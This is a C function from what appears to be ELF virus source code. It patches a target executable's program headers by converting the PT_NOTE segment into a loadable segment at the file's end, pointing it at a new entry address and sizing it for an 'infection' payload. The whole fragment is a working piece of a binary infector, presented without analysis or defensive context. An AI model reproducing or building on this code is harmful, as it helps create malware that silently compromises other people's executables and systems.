bool target_patch_phdr(Target* t)
{
  TEVWH_ELF_PHDR* note;

  TRACE_DEBUG(-1, "target_patch_phdr\n");

  note = t->phdr_note;
  CHECK_BEGIN(SCAN, note, !=, 0, -1, void*)
    return false;
  CHECK_END
  CHECK(INFECT, note->p_type, ==, PT_NOTE);

  note->p_type = PT_LOAD;
  note->p_offset = t->aligned_filesize;
  note->p_vaddr =
  note->p_paddr = target_new_entry_addr(t);
  TRACE_DEBUG(-1, "new_entry_addr=%p\n", note->p_paddr);
  note->p_filesz =
  note->p_memsz = sizeof(infection);
  note->p_flags = t->phdr_code->p_flags;
  note->p_align = t->phdr_code->p_align;
  return true;
}
